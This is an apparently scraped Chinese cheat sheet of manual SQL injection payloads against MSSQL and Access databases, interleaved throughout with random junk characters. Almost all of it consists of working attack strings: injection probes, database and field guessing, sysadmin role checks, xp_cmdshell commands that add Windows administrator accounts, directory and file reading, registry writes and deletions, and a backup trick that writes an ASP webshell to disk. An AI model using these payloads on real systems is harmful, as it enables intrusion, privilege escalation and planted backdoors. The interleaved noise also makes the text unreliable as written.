手工脚本注入 / I6 v# E1 O+ [* z1 i
1.判断是否有注入;and 1=1 ;and 1=2
6 n6 N: ?, _$ E3 p. ~3 x0 o9 W0 Z( s d8 M9 J
2.初步判断是否是mssql ;and user>0
6 q5 E) P% _% X9 n
. V2 j4 z# o4 Z! T" x/ Z5 c% D3.注入参数是字符'and [查询条件] and ''=' 3 u& ] P7 a; W/ b% E- k; }
5 B0 G' L! I9 x# R6 n. G3 W3 t$ X6 g
4.搜索时没过滤参数的'and [查询条件] and '%25'='
0 t k6 q0 i6 l R% f F- ?1 W( g; `
c# X0 I0 _0 L# G: v4 v! ^5.判断数据库系统
/ \/ i; M% _/ ~$ Q1 b& ]1 p* O5 S' J;and (select count(*) from sysobjects)>0 mssql 9 t w( W9 u6 g. T Z
;and (select count(*) from msysobjects)>0 access 4 r# m5 r' X3 K' |
3 b% q y) W8 p) ~$ ^6 S6.猜数据库 ;and (select Count(*) from [数据库名])>0 2 B6 `! I2 j) [8 H
1 w. j" m8 J0 f6 A: @& a6 X4 \
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 2 e2 M/ t2 t+ l4 T v2 F
8 A4 N, b2 H: f9 h
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2 u7 b) K. c0 F2 p6 ^% u/ R
, z( x- z! V8 D7 Z7 G Z4 G
9.(1)猜字段的ascii值(access) 7 g* v( H$ H) m( T8 K" r) y
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 + W# p. `" r5 L- k1 ], ]0 l3 F
# c' K5 U1 l% v0 X: Q' r
(2)猜字段的ascii值(mssql) ( N& @2 V* ?, }3 H' ]4 y
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ' ~% ~# v7 C! ?, V' q" t
3 e% X) U8 i3 P, W1 G% y
10.测试权限结构(mssql) / L! K& R8 [, H+ z! h; Y. s* ?
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
9 { H k8 Y# W. r" w( F$ C;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
0 m0 [5 w5 o6 k: L4 }4 B;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
8 |1 u `6 d x! Q0 E* B2 v;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
; w: \8 c6 | r7 e1 T/ I;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
) m5 p p) |( B$ c7 u8 c1 q; ];and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 2 h2 U! E1 I2 B& t: p$ e/ d
;and 1=(select IS_MEMBER('db_owner'));-- * G( {0 Y. Y: ?9 ~* [/ ?1 c
' z) l K: w+ e
11.添加mssql和系统的帐户 9 H# \( `( {6 l6 w7 m9 i, x
;exec master.dbo.sp_addlogin username;-- 4 G v" T2 a0 @ P$ l [1 D4 H
' C) K% v" p% ?6 r- i2 l M. H;exec master.dbo.sp_password null,username,password;--
! }3 c0 v8 K5 a6 X7 S4 s
" U U! s3 R9 x' B;exec master.dbo.sp_addsrvrolemember sysadmin username;--
# N) I, b+ E' @! T7 @% _1 o- a6 d1 b2 x" V- f% m& [# x( }5 d
;exec master.dbo.xp_cmdshell 'net user username password 7 t) m# h# h" U: q
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3 e' p0 b) Y5 M0 t# r* v2 y0 ^
( e0 H) o) Q3 D9 n
;exec master.dbo.xp_cmdshell 'net user username password /add';-- " g* V2 L0 Q! `
8 m: D- Q: X# T `# W) G" g;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
0 s% E/ E' f4 K9 |! k% E4 e9 k+ i, N" b' ]8 |& b! C
12.(1)遍历目录
7 S; I% \7 l2 R2 C9 s' S+ Z8 ~3 R8 H, ?, a D
;create table dirs(paths varchar(100), id int)
3 g. v, }0 i: S! h) g;insert dirs exec master.dbo.xp_dirtree 'c:\' % n' D* W9 i* _& w. F1 b) p+ M
;and (select top 1 paths from dirs)>0 % |; k; Q8 u5 t) H6 C% z
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) # R# [' l- E! i. S. x) B4 S
/ h& y, T7 `. c: Q. y \(2)遍历目录
2 G! W* A2 h" s;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
4 ]! w) n! L. p) [( w" I;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
# M" k) Q6 g/ [( };insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
8 D) O- Q: Y# }- ~. ^# c& ^;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
. D# Q6 A, W. w1 i0 R; a/ b/ `;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ]+ E; [5 |8 G8 ^+ w7 ?
/ U2 k$ e2 q* o6 R. ` Q13.mssql中的存储过程
# N' B$ M" U2 T) b
c- F; \8 T6 k5 Gxp_regenumvalues 注册表根键, 子键 + f% E7 \* {4 f
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ( j6 W! h" A- V
4 A q5 p& }# X3 m3 Y9 Ixp_regread 根键,子键,键值名 2 ]0 g) ^6 p. s( i# g# I
;exec xp_regread 7 U- u( P8 R0 }5 a5 X: _
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 + C9 h' `4 |, H: [, c. T$ l
0 ?2 F/ w8 o+ y" i Yxp_regwrite 根键,子键, 值名, 值类型, 值 4 G& u! o6 ^6 U9 P, e( h* E/ q7 _
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
7 O' H( @3 `+ p$ S" ?;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 8 w* Y" ?0 k+ N( A/ R6 s! h) \
y% Z2 K% l6 L# s" v
xp_regdeletevalue 根键,子键,值名
: J6 `3 _& ^0 k7 d1 }2 t$ h+ O4 ?3 \# p x" s5 Y
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
- \6 \! _8 s5 N* t3 k
1 ^ O! B! X4 \% V# [! yxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
0 v7 N8 K5 n& ~! y$ u) ~: `9 Z# p" D e8 ~7 ]
14.mssql的backup创建webshell
: n, S0 \" E8 m6 l* Juse model
1 w* i+ d" E2 [+ a) M1 W5 q0 wcreate table cmd(str image);
, q, T" D( ]1 q4 ~6 {4 v$ Tinsert into cmd(str) values ('');
2 m' U( g$ Z' O8 ]# E/ x/ H h1 u5 Cbackup database model to disk='c:\l.asp'; * ?( P, v( C* ^8 p U4 Q! K9 V! }
$ Y D: L5 T4 H+ q! M1 m15.mssql内置函数 ! p, l) t, r3 x4 C% ]
;and (select @@version)>0 获得Windows的版本号 ' O* u# y% `. n! ^8 J2 P
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 0 p4 g _: ?/ R% T2 L
;and (select user_name())>0 爆当前系统的连接用户
& F, e- [. c5 v. ^/ [;and (select db_name())>0 得到当前连接的数据库
3 x* g4 H8 @% {5 Y2 N9 Q# g8 u1 v+ R# w# p4 p1 W. u8 H
16.简洁的webshell
% c0 c1 l @/ F4 ]- O2 e- [" N2 Y6 @, c8 A4 M* \0 T
use model : ?8 a6 m/ o" r: j$ C$ I$ L, r8 f
/ C( Z& _5 h) i" @% b0 x- ^6 R; u
create table cmd(str image); 3 S6 D8 F4 v/ \3 u% O+ o' d
- [8 i/ ^- q$ ainsert into cmd(str) values (''); 5 R! ?, c+ a- }' d" I
: v* X, g+ f: p1 xbackup database model to disk='g:\wwwtest\l.asp';
7 {* ~' h5 } Q* t % H' T7 Y6 \4 E6 ?# h- c
|